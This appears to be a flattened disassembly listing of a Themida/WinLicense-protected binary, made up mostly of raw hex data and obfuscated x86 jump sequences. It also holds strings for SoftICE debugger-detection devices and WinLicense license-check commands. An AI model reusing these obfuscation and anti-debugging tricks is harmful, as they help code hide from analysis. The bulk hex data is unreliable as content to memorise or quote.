Themida_:00561CE9j mov ebx, 4023727Ch xor ebx, 24610389h sub esi, ebx pop ebx add esi, edi jmp loc_550E04 ; --------------------------------------------------------------------------- loc_565CA9: ; CODE XREF: Themida_:0055DD5Fj add ecx, eax push edi mov edi, 707750B7h jmp loc_557C80 ; --------------------------------------------------------------------------- dw 1C8Bh dd 4C48124h, 83000000h, 29E904ECh, 0F7FFFEE0h, 0E99C241Ch dd 0FFFEA750h, 5E8h, 712A2900h, 0C281FCF7h, 50531626h dd 0D5F1815Eh, 81692585h, 6C9DC6h, 81DB2B00h, 9012ABF2h dd 3334FF59h, 81BD8958h, 81060B08h, 0E5DCACC0h, 53F08110h dd 8B6B28EEh, 0B2D7D95h, 0F6E88106h, 8B50A3A4h, 0B16B595h dd 1E048906h, 46E281FCh, 817CFFC2h, 1A73B8EBh, 1185891Ch dd 81060B1Bh, 1A73B4C3h, 8F0F1Ch, 81000000h, 0FF93E4FBh dd 0AA850FFFh, 0E9FFFFFFh, 0Ah, 6D0E901Dh, 27042A5Ah, 36EB04C9h dd 52455355h, 642E3233h, 41006C6Ch, 50415644h, 2E323349h dd 6C6C64h, 4C44544Eh, 6C642E4Ch, 7D7006Ch, 20008h, 0F0007h dd 290008h, 9C08029Fh, 0E8E94999h, 68000008h, 60D9DE8h dd 0FDE23AE9h, 9E8E68FFh, 30E9060Dh, 68FFFDE2h, 60D9F84h dd 0FDE226E9h, 0A0D868FFh, 1CE9060Dh, 68FFFDE2h, 60DA13Ch dd 0FDE212E9h, 0A26F68FFh, 8E9060Dh, 68FFFDE2h, 60DA2D8h dd 0FDE1FEE9h, 0A493E7FFh, 0A474EBFh, 0DCED3CE9h, 0A190E607h dd 704F55B2h, 0EE0D54E3h, 5F48ABAAh, 0FF87B46h, 0F815CEF9h dd 0B84192AFh, 80483CB0h, 70DFC599h, 0BB33BD88h, 0C3941DCFh dd 79066300h, 0DFB85A39h, 4E584DFBh, 6FFD8616h, 9FEEC2C7h dd 187F43BDh, 0BBF397CEh, 7E059712h, 820978ECh, 0BC869D84h dd 66F002C8h, 8486BACEh, 3D350DD9h, 0D9848649h, 724AE4DEh dd 0A3CB112Ah, 0A78F8D2Eh, 0E4DB23D2h, 67F5CD4Ah, 8A506DB6h dd 614E3B55h, 0ABBE0C26h, 0FB1D3A41h, 1BDC0A50h, 0AE945289h dd 2934BA50h, 0C8050EFFh, 50B1303Fh, 2CE3676Ch, 75Ah, 0ED5EC36h dd 0B8BB96E1h, 0D60D3C4Fh, 1D2E139h, 0B2A19CE4h, 0FB01DC03h dd 0A9EE1FC4h, 565E4F94h, 0FE0BE47Fh, 1EB10C3h, 998099EDh dd 399F6EC5h, 14F8D5DEh, 98058814h, 0F4C8BC8Dh, 941D087Ch dd 0E52E9FC3h, 4A90F4E8h, 60303C15h, 0DD8A9312h, 7153E7E3h dd 0CEA04EA2h, 992BDEA6h, 0C32911BDh, 0EC00C3D2h, 3A66E398h dd 43372B6Fh, 5978BE0Fh, 0C4D03DAFh, 168D9652h, 0BD0C91D5h dd 91F55964h, 0A730AFBDh, 0BEA41D5Ch, 45A245E3h, 0C9B00433h dd 8BFF77BCh, 1C3A667Ah, 3405C226h, 6F866442h, 6B4249Bh dd 46500000h, 0EC3BD40Fh, 9AE906DDh, 4B53BCA7h, 0FA3EEF74h dd 0B2B918DBh, 0E57E415Bh, 15CEF308h, 4291ACF8h, 0FE6550A5h dd 3357DF0Dh, 0B4C59983h, 0D5DE5FC5h, 50A514F8h, 0B094A5F0h dd 4F5E54CCh, 0F3C2D8C5h, 231DCB0Fh, 32400D0Ah, 4527h dd 832BB500h, 0C39415C7h, 6ED47248h, 7BF8D5DEh, 823C72E9h dd 40591178h, 27A7B0A6h, 0C5C3941Dh, 0A7B70596h, 9D4B642Ch dd 896A67B0h, 0A6B4CFADh, 9E057B0Eh, 64F6CCBDh, 83506FB9h dd 573B1262h, 621F0h, 50BD1800h, 72DB7548h, 48A01421h dd 536ABA34h, 1C79ED7Fh, 91BD9F1Ch, 0DA56DA72h, 3047DE9Bh dd 3122D01h, 0C4DCA1ADh, 0F01DCF23h, 0DAF901A5h, 7EAF48E6h dd 9BDB1835h, 7CF07A01h, 446DF1CFh, 5F07A40h, 0EE1FC4F3h dd 33BDAFA6h, 72B9CFBBh, 0CC7A4030h, 0B5809544h, 7004F1BAh dd 453A088Ch, 5BEh, 0E271485Ah, 1CC7F205h, 4AA9A0F3h, 0E57E455Dh dd 16CDF008h, 5FA5B8AFh, 0D12F360h, 0B2C22330h, 5AAF589Bh dd 0E507F46Fh, 99820541h, 453B8AC5h, 14F8D5DEh, 5430B4C6h dd 0DBC3941Dh, 0B3C449E7h, 0D5C90013h, 8273F161h, 0DFC407Dh dd 44C8F7h, 25A0022Ch, 0ED990D9Fh, 62C3941Dh, 19EDBBC3h dd 0C12573B6h, 0E7055F27h, 0B33BC394h, 0C394E5D7h, 0AC0E6258h dd 3241E970h, 0FFFEF557h, 50BDB1FFh, 9A850944h, 0A013AEC9h dd 45E3C759h, 0F074BFC8h, 0C394D194h, 7FC3271Bh, 14C65D3Fh dd 9FFABD90h, 0E52EDFBDh, 592064E8h, 74D37D40h, 91184BD5h dd 19477A6Dh, 4C3BA3F6h, 68FC6E42h, 3A61E41Ch, 0A84BAF93h dd 4795AECEh, 6ADD462Fh, 7FC33744h, 7EF096F7h, 6E9F4D30h dd 0B8FA1429h, 5D38A72Dh, 146D47C0h, 4C300F19h, 50A51408h dd 93BD9165h, 2A6580A9h, 15CA926h, 46B70000h, 0D3683430h dd 5A0E509h, 5DA5BD9Fh, 0E8B5EC7Ah, 0E7B512BAh, 67668E5Ch dd 0E89D859Fh, 0AECE2E92h, 86354795h, 0C5DD50F7h, 714C593Bh dd 6E63F31Dh, 0FFA79024h, 53A4519Bh, 0F109F466h, 1E217BC2h dd 8F577F0h, 197DC1FCh, 38151EEFh, 52B0662Fh, 0DABD956Ch dd 46Ah, 1EC5FC06h, 48ABA6F1h, 0E67D4C5Fh, 11C2F109h, 4291ACF4h dd 0B11ECF3h, 0B9FE2F34h, 66AE5F84h, 0E1BF46Fh, 11DB2033h dd 99BDE99Dh, 298F7EC5h, 0E4760D6Fh, 99B0D040h, 0F17B5FBDh dd 1EC5F004h, 24A8A7F1h, 64608416h, 0AB3A667Eh, 11091ABBh dd 0A3976010h, 427F8885h, 63ABD285h, 46390986h, 406h, 0BAB990E2h dd 0D40F3A4Dh, 2D1E83Bh, 0BDA69DE5h, 0EE754850h, 97ED0057h dd 455A4BA8h, 0FA0AFB78h, 0A2F710C3h, 0ADBF4C97h, 99BC4D39h dd 8D73C2C5h, 84150BDh, 0BA1A6FDEh, 94785C69h, 77425746h dd 7CBF50C8h, 18361DBFh, 61D5E035h, 0BC2ABBF1h, 0C3942EE6h dd 0AC102F77h, 6A967468h, 46324122h, 0E8724D57h, 94200044h dd 95B387C3h, 0FFFD49CCh, 0D5DE28FFh, 7B8372F8h, 0ABA6F544h dd 795957Dh, 0B15CEE7Ch, 0ACE0546Bh, 5B635993h, 0DF093F02h dd 9F086217h, 297FAEBDh, 2F13F01Eh, 33BDCC34h, 941DCFBBh dd 937A40C3h, 8DC1B584h, 635F7263h, 4ED80219h, 1DDCA83Ch dd 0FA53C394h, 0D5299DA4h, 0BA8F57F1h, 8BBD9F05h, 49DE7B6Ch dd 67F5C966h, 6075BBCFh, 0D2360C3Ah, 0A40369FDh, 791E276h dd 48E89BEFh, 0F8166C92h, 9943D8A4h, 0CA5ECA22h, 0EA04F7F5h dd 369DEC00h, 0BD12EC43h, 95E95D68h, 0CFADCDB1h, 730EA6B4h dd 0C4F64E11h, 74816CFEh, 0F7019359h, 51D30B7Fh, 0AEA69C86h dd 8651D3DAh, 38BB55ADh, 408FBACFh, 3A90E841h, 0D3BD12F0h dd 0B1000002h, 18F56E65h, 0C6273C0Dh, 0B05D86BBh, 1F886B6Ah dd 9A393A05h, 5D60B853h, 2D106986h, 0F0CFD936h, 44718263h dd 76FE729Fh, 0C599BF12h, 6FBE2695h, 5AE4760Dh, 941DB6D2h dd 27C139C3h, 0B07B2145h, 8EF4BD99h, 6867B15Ch, 330A1A8Bh dd 99A4FC29h, 0D337D135h, 6FB9196Ah, 0B4A8EC50h, 6451F8BBh dd 6C232786h, 26Ah, 1EC5FC06h, 48ABA6F1h, 0E67D4C5Fh, 11C2F109h dd 4291ACF4h, 0B11ECF3h, 0B9FE2F34h, 66AE5F84h, 0E1BF46Fh dd 11DB2033h, 99BFE99Dh, 298F7EC5h, 0E4760D6Fh, 6D5CAB5Ah dd 0C8BC8D9Ch, 208A5AF4h, 1BBD99B0h, 0E183B3FCh, 0F7EB6094h dd 0D764DB65h, 7976F5D5h, 381C2D78h, 0DFEA3F0Eh, 1F6B830Dh dd 903A66F1h, 0BBFB7CAAh, 1D915BE0h, 3A66F163h, 46EE78F4h dd 3A66F102h, 0D1B5BD85h, 563A66F1h, 0D584086Ch, 0BB6AF0CFh dd 4E178763h, 0BAAB2BBDh, 0D245F246h, 4C43F295h, 0A4F746BAh dd 0B5977B95h, 0C09C34ABh, 64A62500h, 63943CAh, 61FA81DDh dd 0A21F73FBh, 3F903A66h, 1569DDECh, 8B9C4D31h, 3841ACBEh dd 0A20F7BF3h, 0BA803A66h, 6AA0A846h, 0A0B38E9Bh, 50D1B724h dd 4A6143DBh, 6964B19Ch, 0F4A95C83h, 0AD112C75h, 0FA4DAE69h dd 4F868AA4h, 1697D1FDh, 26196392h, 1EF00508h, 49CF27DDh dd 0C2D1B8ECh, 0E3C73B8Fh, 0FE09F470h, 21D5B135h, 605A3A66h dd 1E6BE20Ch, 785C61B6h, 0E0DF2594h, 6560A21Ch, 855E6BBCh dd 3F2D1068h, 0E052C8CEh, 73D4DC11h, 39113F13h, 125482C8h dd 77FF0993h, 3A668313h, 28BCAE94h, 3A66835Ch, 0CC41EFD3h dd 0BD6A89B4h, 63925867h, 60A241Bh, 82764157h, 6B901D97h dd 5F62BB11h, 0FA0FF87Bh, 0DDEB7BCFh, 0ECF21426h, 2E5AD25Ch dd 0A182EB2Ah, 0F8F5AF59h, 28CB0613h, 0BF29719Ch, 0CD7B5F6Ah dd 0B61A3740h, 3E82BDC7h, 8509384Fh, 2A4B3FB7h, 0E6DC82EBh dd 43370217h, 0EC9E2F01h, 60B76684h, 539DA651h, 0FC7C6D3Fh dd 0AC555052h, 18F56E5Bh, 0B328320Fh, 891DE9B4h, 82EB5AFDh dd 5FCF0872h, 0E8608E2Bh, 285CD062h, 0BF82EB58h, 8B11AD5Bh dd 4ED86AF0h, 0EB58A226h, 33DD2582h, 0E0414EA3h, 0B1BB9FFCh dd 7FB8F27h, 804CF8E0h, 0E007186Ch, 0B7ABEFF8h, 0FC80DE99h dd 3B71F567h, 0D986EDAAh, 40EEDB2Ch, 0C10BFFC3h, 15B7C79Ah dd 7FA9CB72h, 0AB48858Eh, 0A81C297Ah, 66B7F4B8h, 0C7C6DC40h dd 0E60ED5DEh, 264675E2h, 3A391D65h, 398DB8CDh, 870B4A50h dd 668F1E9Ah, 0D233201Dh, 3A00F4C1h, 32A69285h, 0C8662EFFh dd 1153h, 0BB528900h, 0FB45F966h, 80BFC5B4h, 0C82ED83Ch dd 0D4DE9C84h, 57A009FDh, 0D127967Ah, 52AB12E6h, 0EE329B6Fh dd 66BA63D7h, 0FC02EB5Fh, 798871C5h, 0FA0DFC40h, 68CF7BCFh dd 3F01h, 81241C89h, 4ECh, 243C8900h, 5E08950h, 4, 42Dh dd 24048700h, 2434895Ch, 0D9D3968h, 243C8B06h, 4C481h dd 0F8680000h, 89000048h, 4812424h, 424h, 7C685E00h, 8900001Ch dd 468F243Ch, 24348B08h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop edi add esp, 4 jmp loc_543FDB ; --------------------------------------------------------------------------- db 0D6h dd 0B89962B7h, 60DA567h, 0E0FFC503h, 0F30412Fh, 6CDFB7D1h dd 12BF4F8h, 48737C5Dh, 72E9h, 0BD836000h, 60B1995h, 5840F00h dd 0E9000000h, 5Dh, 3E80006Ah, 8850F30h, 6A000000h, 35E94600h dd 80000000h, 850F333Eh, 8, 0E946106Ah, 24h, 0F343E80h dd 885h, 46306A00h, 13E9h, 353E8000h, 8850Fh, 406A0000h dd 2E946h, 6A0000h, 16C5858Dh, 8950060Bh, 50962404h, 0FF006A96h dd 0B0BD995h, 0C6C36106h, 0B284585h, 73684D06h, 81B28991h dd 0E7DB2434h, 0B5FF16BCh, 60B0315h, 390D858Dh, 0D0FF060Bh dd 0BD98589h, 1EEB060Bh, 5C2E5C5Ch, 45434953h, 2E5C5C00h dd 5749535Ch, 444956h, 5C2E5C5Ch, 4349544Eh, 0C08B0045h dd 0BD83F88Bh, 60B05BDh, 83097500h, 0B29D1BDh, 19740006h dd 0C08B5350h, 40FB8h, 35858900h, 8D060B2Ah, 0DB31A9Dh dd 5BD3FF06h, 0D1BD8358h, 60B29h, 53501774h, 40FB8h, 35858900h dd 8D060B2Ah, 0DB0099Dh, 5BD3FF06h, 0B5035358h, 60B0561h dd 60C08B5Ah, 20619503h, 0C661060Bh, 0B284585h, 0BD8B4306h dd 60B01FDh, 4E8h, 8E6EFC00h, 8E8BCh, 4D240000h, 558560FCh dd 0D4BEED16h, 5957DDE9h, 0D78B6650h, 424448Bh, 80BF5250h dd 0F0AC1B2h, 8B525031h, 0B1310FF1h, 5A585A4Bh, 0E8008B58h dd 12h, 3391D3D6h, 6FE68618h, 6EF0E75Fh, 2EA93D70h, 0FB8B5D37h dd 2444895Eh, 95095804h, 60B2291h, 0B01B5FFh, 0B70F060Bh dd 0D858DF0h, 0F5060B39h, 8B66D0FFh, 665090F8h, 2990FB8Bh dd 0B280D85h, 6A006A06h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 66A8C352h, 8D29CB8Bh dd 60B169Dh, 4E8h, 8000h, 11E96000h, 4D000000h, 0F215C894h dd 0FC57B3C8h, 5F3AF5D2h, 0DB89DCD8h, 52505061h, 310F9BB1h dd 585ACE8Bh, 424448Bh, 952BBF66h, 5250008Bh, 13E8h, 5940A500h dd 3F5443F4h, 0C378F94Eh, 6220369h, 0D01088FAh, 0F5A8BB1h dd 0DCE4BA31h, 585A0724h, 4244489h, 12E9h, 0ADF77800h dd 0E484CFA2h, 0AA295026h, 0E6297440h, 58C9C318h, 6800Fh dd 8D8B0000h, 60B1B61h, 6A036Ah, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 879237C3h, 0FF9A6890h dd 3DBD893Ah, 6A060B00h, 4870F00h, 66000000h, 6AF1C9BFh dd 52006A03h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h dd 0C3524200h, 679CE7BBh, 14697A36h, 830FBF7Ah, 0 dd 0BD9C8268h, 0F88B66F8h, 82243481h, 6A38BD9Ch, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 7EDAC353h, 888B8BFCh, 9D89603Bh, 60B01B9h, 23ED952Bh dd 8D61060Bh, 0DA6949Dh, 6693F906h, 6650FE8Bh, 932B82BEh dd 0BD89D0FFh, 60B0B45h, 10850F40h, 0E9000003h, 0Bh, 0C8FEB068h dd 5303682Fh, 58F489DFh, 7E9h, 58FDCC00h, 6B6AAABBh, 7E890h dd 38340000h, 1779C69Dh, 6160538Ah, 60505A5Fh, 0AE9h, 3B7BFE00h dd 2C28537Eh, 0F3DFA5Dh, 86h, 0E8906100h, 0Ah, 0BDD9F921h dd 7DAA246Ah, 0B5017B44h, 60B1899h, 0F006A5Fh, 38Dh, 0BDD98000h dd 562B9C68h, 0E852503Bh, 0Fh, 0FCD598C6h, 9A50A1A8h, 1B635D57h dd 666D5F35h, 0F59D38Bh, 7E931h, 66D0000h, 0C3F032F3h dd 81585AA1h, 2B1C2434h, 6A3B56h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 926708C3h, 0ACBA8A97h dd 6AE7F280h, 57006A03h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1B04h, 0C3574700h, 0EDFA21Dh, 9563D742h, 14E8006Ah dd 0E7000000h, 31BB9530h, 0ED703EAEh, 5C7F438Dh, 6E464F4h dd 66D2C4C4h, 0D32C181h, 66036A5Ah, 2A1D781h, 4E8h, 0 aPrs db 'ŔPRé',0Dh,0 align 4 dd 2C997174h, 0FE784EBCh, 0F9464AC0h, 0BA310FC0h, 3C8C7CC4h dd 8B50585Ah, 0E9042444h, 10h, 0BD241329h, 0DBCBC587h dd 49B6272Bh, 65E858B4h, 4489008Bh, 8B660424h, 8DF958D6h dd 0DA69D9Dh, 0DDB50106h, 93060B06h, 8B50EC8Ah, 6A93D6h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 0D126D7C3h, 75D90191h, 0D18B662Eh, 8166D0FFh, 81C297E1h dd 8512C2F6h, 850F4014h, 167h, 2B719589h, 8958060Bh, 0B138595h dd 52609006h, 0AE8h, 0DEF8FC00h, 0E7183AD4h, 5A7510D3h dd 2830F5Eh, 50000000h, 6650615Bh, 6090CB8Bh, 9D89C38Ah dd 60B12C5h, 6A006A61h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 647DC351h, 0B9B596CFh dd 378D4F16h, 10E8h, 0A7B5E900h, 48E21701h, 2BE47770h dd 0F866975Eh, 0E85EF818h, 4, 80h, 8A505F56h, 24448BD7h dd 9E804h, 4E7D0000h, 2583BB8Fh, 6638AAF1h, 5EB64EBAh dd 0F60008Bh, 8Ch, 54D0BB00h, 89617F98h, 50042444h, 6E952h dd 7FEA0000h, 1C49EE3Dh, 0B966310Fh, 585ADC7Fh, 0F1B52958h dd 6A060B2Dh, 9CC98103h, 6A2DB456h, 6870F00h, 2B000000h dd 0B270D95h, 89036A06h, 0B0E4585h, 0DB8A6806h, 0BE6698FEh dd 3481F8C1h, 0FEDB8A24h, 9D8DF958h, 60DA6A8h, 941BD01h dd 8B93060Bh, 0EC8A50D3h, 79BD8B93h, 0FF060B27h, 5840FD0h dd 0B9000000h, 58C2CB54h, 40850F40h, 0F000000h, 280h, 58D48A00h dd 0E9FB8B66h, 14Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 64C35343h, 0EE9h, 0F618C300h, 9B07B1D3h dd 0F7367CFh, 8B02FBD9h, 0D6B70FD8h, 59BD8B4Bh, 58060B2Eh dd 0CE9h, 0FD0D300h, 6605AAFCh, 1D80F83Eh, 4585C60Dh, 43060B28h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0B1C35646h dd 80253EDDh, 0AC687FE6h, 53697618h, 5ACA8B66h, 0FB240481h dd 8B570031h, 0B07058Dh, 1B5FF06h, 89060B0Bh, 0B3315BDh dd 0E1958B06h, 8D060B19h, 0B390D85h, 55858906h, 0FF060B1Ah dd 0AD181D0h, 934B34F0h, 0EE8h, 8217A100h, 0AE520D2Dh dd 0B4A38119h, 595736BAh, 935E5650h, 31659589h, 0D0FF060Bh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 45C35343h dd 0E6D034AAh, 0DA292001h, 12E9h, 86E67F00h, 0A3FDB914h dd 0DD92A510h, 0A3311641h, 0B948D24h, 0B116195h, 59D8D06h dd 0E9060B73h, 11h, 63BEB273h, 17C4A772h, 3476E12Fh, 6972C5DCh dd 1B8DCh, 7E90000h, 0C2000000h, 4E341821h, 0E3FFB6E0h dd 22FDBD29h, 0C18B060Bh, 8BF2B70Fh, 0E7F5BAC0h, 0BD8348FAh dd 60B05BDh, 83097500h, 0B29D1BDh, 19740006h, 0C08B5350h dd 40FB8h, 99858900h, 8D060B12h, 0DB3819Dh, 5BD3FF06h dd 0D1BD8358h, 60B29h, 53501774h, 40FB8h, 99858900h, 8D060B12h dd 0DB0229Dh, 5BD3FF06h, 5EB1B958h, 8D8B07EBh, 60B103Dh dd 0AAE9C08Bh, 53000000h, 7774666Fh, 5C657261h, 4C6E6957h dd 6E656369h, 43006573h, 6B636568h, 58004E49h, 746F7270h dd 74697845h, 65684300h, 554F6B63h, 69570054h, 63694C6Eh dd 65736E65h, 73726556h, 6E6F69h, 4C6E6957h, 6E656369h dd 72446573h, 72657669h, 73726556h, 6E6F69h, 4C6E6957h dd 6E656369h, 6E496573h, 6E617473h, 45006563h, 4F746978h dd 7250006Bh, 4E49636Fh, 6F725000h, 54554F63h, 69784500h dd 4E4974h, 74697845h, 54554Fh, 4E497054h, 3 dup(0) dd 0DDAF7F00h, 0DD72F077h, 596E977h, 85890000h, 60DAE3Dh dd 0AE39858Dh, 8D50060Dh, 0DADA385h, 1685006h, 0FF800000h dd 0DAE4995h, 0FF196A06h, 0DAE3DB5h, 6A016A06h, 0D2858D00h dd 50060DADh, 0AE39B5FFh, 95FF060Dh, 60B2F01h, 0AE39B5FFh dd 95FF060Dh, 60DAE45h, 0AE39B5FFh, 95FF060Dh, 60B2ACDh dd 3D8589C3h, 8D060DAEh, 0DAE3985h, 858D5006h, 60DADA3h dd 16850h, 95FF8000h, 60DAE49h, 858D046Ah, 60DAE3Dh, 6A046A50h dd 0FC858D00h, 50060DADh, 0AE39B5FFh, 95FF060Dh, 60B2F01h dd 0AE39B5FFh, 95FF060Dh, 60DAE45h, 0AE39B5FFh, 95FF060Dh dd 60B2ACDh, 3D8589C3h, 8D060DAEh, 0DAE3985h, 858D5006h dd 60DADA3h, 16850h, 95FF8000h, 60DAE49h, 858D046Ah, 60DAE3Dh dd 6A046A50h, 0E4858D00h, 50060DADh, 0AE39B5FFh, 95FF060Dh dd 60B2F01h, 0AE39B5FFh, 95FF060Dh, 60DAE45h, 0AE39B5FFh dd 95FF060Dh, 60B2ACDh, 3D8589C3h, 8D060DAEh, 0DAE3985h dd 858D5006h, 60DADA3h, 16850h, 95FF8000h, 60DAE49h, 858D046Ah dd 60DAE3Dh, 6A046A50h, 0F858D00h, 50060DAEh, 0AE39B5FFh dd 95FF060Dh, 60B2F01h, 0AE39B5FFh, 95FF060Dh, 60DAE45h dd 0AE39B5FFh, 95FF060Dh, 60B2ACDh, 3D8589C3h, 8D060DAEh dd 0DAE3985h, 858D5006h, 60DADA3h, 16850h, 95FF8000h, 60DAE49h dd 858D046Ah, 60DAE3Dh, 6A046A50h, 0BF858D00h, 50060DADh dd 0AE39B5FFh, 95FF060Dh, 60B2F01h, 0AE39B5FFh, 95FF060Dh dd 60DAE45h, 0AE39B5FFh, 95FF060Dh, 60B2ACDh, 65BD83C3h dd 60B27h, 0B840Fh, 9D8B0000h, 60B2765h, 894CC383h, 0BD83C303h dd 60B2765h, 0B840F00h, 8B000000h, 0B27659Dh, 50C38306h dd 83C30389h, 0B2765BDh, 840F0006h, 0Bh, 27659D8Bh, 0C383060Bh dd 0C3038954h, 2765BD83h, 0F00060Bh, 0B84h, 659D8B00h dd 83060B27h, 38958C3h, 65BD83C3h, 60B27h, 0B840Fh, 9D8B0000h dd 60B2765h, 895CC383h, 60C3C303h, 0AE3D8589h, 858D060Dh dd 60DAE39h, 0A3858D50h, 50060DADh, 168h, 4995FF80h, 6A060DAEh dd 3D858D04h, 50060DAEh, 6A046Ah, 0AE34858Dh, 0FF50060Dh dd 0DAE39B5h, 195FF06h, 83060B2Fh, 0B05BDBDh, 840F0006h dd 0Ch, 0AE39B5FFh, 95FF060Dh, 60DAE45h, 0AE39B5FFh, 95FF060Dh dd 60B2ACDh, 8960C361h, 0DAE3D85h, 39858D06h, 50060DAEh dd 0ADA3858Dh, 6850060Dh, 80000001h, 0AE4995FFh, 46A060Dh dd 0AE3D858Dh, 6A50060Dh, 8D006A04h, 0DAE1685h, 0B5FF5006h dd 60DAE39h, 2F0195FFh, 0BD83060Bh, 60B05BDh, 0C840F00h dd 0FF000000h, 0DAE39B5h, 4595FF06h, 0FF060DAEh, 0DAE39B5h dd 0CD95FF06h, 61060B2Ah, 858960C3h, 60DAE3Dh, 0AE39858Dh dd 8D50060Dh, 0DADA385h, 1685006h, 0FF800000h, 0DAE4995h dd 8D046A06h, 0DAE3D85h, 46A5006h, 858D006Ah, 60DAE1Dh dd 39B5FF50h, 0FF060DAEh, 0B2F0195h, 0BDBD8306h, 60B05h dd 0C840Fh, 0B5FF0000h, 60DAE39h, 0AE4595FFh, 0B5FF060Dh dd 60DAE39h, 2ACD95FFh, 0C361060Bh, 3D858960h, 8D060DAEh dd 0DAE3985h, 858D5006h, 60DADA3h, 16850h, 95FF8000h, 60DAE49h dd 858D046Ah, 60DAE3Dh, 6A046A50h, 25858D00h, 50060DAEh dd 0AE39B5FFh, 95FF060Dh, 60B2F01h, 5BDBD83h, 0F00060Bh dd 0C84h, 39B5FF00h, 0FF060DAEh, 0DAE4595h, 39B5FF06h dd 0FF060DAEh, 0B2ACD95h, 60C36106h, 0AE3D8589h, 858D060Dh dd 60DAE39h, 0A3858D50h, 50060DADh, 168h, 4995FF80h, 6A060DAEh dd 3D858D04h, 50060DAEh, 6A046Ah, 0AE2C858Dh, 0FF50060Dh dd 0DAE39B5h, 195FF06h, 83060B2Fh, 0B05BDBDh, 840F0006h dd 0Ch, 0AE39B5FFh, 95FF060Dh, 60DAE45h, 0AE39B5FFh, 95FF060Dh dd 60B2ACDh, 0C760C361h, 0DAE3D85h, 106h, 39858D00h, 50060DAEh dd 0ADA3858Dh, 6850060Dh, 80000002h, 0AE4995FFh, 0C00B060Dh dd 0F840Fh, 85C70000h, 60DAE3Dh, 0 dd 4DE9h, 8D046A00h, 0DAE3D85h, 46A5006h, 858D006Ah, 60DADB7h dd 39B5FF50h, 0FF060DAEh, 0B2F0195h, 0FC00B06h, 0F84h dd 3D85C700h, 60DAEh, 0E9000000h, 0Ah, 0AE3D85C7h, 1060Dh dd 0B5FF0000h, 60DAE39h, 2ACD95FFh, 8B61060Bh, 0DAE3D85h dd 8960C306h, 0DAE3D85h, 39858D06h, 50060DAEh, 0ADA3858Dh dd 6850060Dh, 80000001h, 0AE4995FFh, 46A060Dh, 0AE3D858Dh dd 6A50060Dh, 8D006A04h, 0DADB785h, 0B5FF5006h, 60DAE39h dd 2F0195FFh, 0BD83060Bh, 60B05BDh, 0C840F00h, 0FF000000h dd 0DAE39B5h, 4595FF06h, 0FF060DAEh, 0DAE39B5h, 0CD95FF06h dd 61060B2Ah, 858960C3h, 60DAE3Dh, 0AE39858Dh, 8D50060Dh dd 0DADA385h, 1685006h, 0FF800000h, 0DAE4995h, 8D046A06h dd 0DAE3D85h, 46A5006h, 858D006Ah, 60DADC9h, 39B5FF50h dd 0FF060DAEh, 0B2F0195h, 0BDBD8306h, 60B05h, 0C840Fh dd 0B5FF0000h, 60DAE39h, 0AE4595FFh, 0B5FF060Dh, 60DAE39h dd 2ACD95FFh, 0C361060Bh, 284585C6h, 6852060Bh, 0ADE47B07h dd 194DB5FFh, 95FF060Bh, 60B08A9h, 0AE498589h, 85C6060Dh dd 60B2845h, 0E56852h, 0B5FF902Eh, 60B194Dh, 8A995FFh dd 8589060Bh, 60DAE45h, 284585C6h, 6852060Bh, 0B9BF1235h dd 194DB5FFh, 95FF060Bh, 60B08A9h, 2F018589h, 85C6060Bh dd 60B2845h, 10346852h, 0B5FF9878h, 60B194Dh, 8A995FFh dd 8589060Bh, 60B2ACDh, 284585C6h, 6852060Bh, 0C005DBD4h dd 194DB5FFh, 95FF060Bh, 60B08A9h, 2A618589h, 8E8060Bh dd 0E9000000h, 0FE43D60Dh, 0F291F79h, 2485h, 0AE800h, 0A71B0000h dd 1DB4997h, 86EF00C3h, 0EE8h, 0E7EC1800h, 57B222F7h, 0A5EE4105h dd 5EBA3FA0h, 0D68B5B5Ah, 6A60C381h, 880F0000h, 0 dd 0FC52C92Bh, 0B3C8B5Eh, 1B850Fh, 12E80000h, 95000000h dd 0BA7DD836h, 641FDE45h, 0F4555361h, 0D77AFCBFh, 45E6804Bh dd 0BCEF815Ah, 6606FE93h, 7302E281h, 9974F781h, 81F844DEh dd 8EE0F5EFh, 0F0B70F18h, 0C6BF0F57h, 0F0B048Fh, 28Bh dd 60D68B00h, 61F5C28Bh, 43E8E981h, 0D0814CE6h, 2BB90E1Fh dd 43E4C181h, 10E84CE6h, 9F000000h, 99314C08h, 0E877A46Ch dd 0AFB9460Ah, 5074D5C0h, 948D81BAh, 81585A0Eh, 0FF9674F9h dd 72850FFFh, 66FFFFFFh, 0E9CF92B8h, 99h, 6775622Fh, 63656863h dd 2F00326Bh, 63677562h, 6B636568h, 6F662F00h, 72656372h dd 2F006E75h, 63677562h, 6B636568h, 6C6C7566h, 68732F00h dd 6F63776Fh, 2F006564h, 776F6873h, 65646F63h, 632F0032h dd 74726Ch, 7369642Fh, 732F0031h, 69776F68h, 6174736Eh dd 65636Eh, 7465672Fh, 74736C77h, 73757461h, 6F6C2F00h dd 61747367h, 737574h, 6D75642Fh, 61747370h, 737574h, 0 aCheckprotectio db '/checkprotection',0 align 4 dd 0E0BD8300h, 60DB5h, 0A840Fh, 85C70000h, 60B29D1h, 1 dd 284585C6h, 6847060Bh, 0D4CDA956h, 0DB243481h, 0FF44A0C5h dd 0B0B01B5h, 0D858D06h, 0FF060B39h, 8BD0FFD0h, 223F80F8h dd 22850Fh, 0B0470000h, 850FAE22h, 0FFFFFFF9h, 0F003F80h dd 31884h, 3F804700h, 0E840F00h, 0E9000003h, 1Eh, 0F003F80h dd 30084h, 203F8000h, 6850Fh, 0E9470000h, 6, 0FFE2E947h dd 3F80FFFFh, 5850F00h, 0E9000000h, 2DDh, 1E9h, 3F804700h dd 0F6840F20h, 80FFFFFFh, 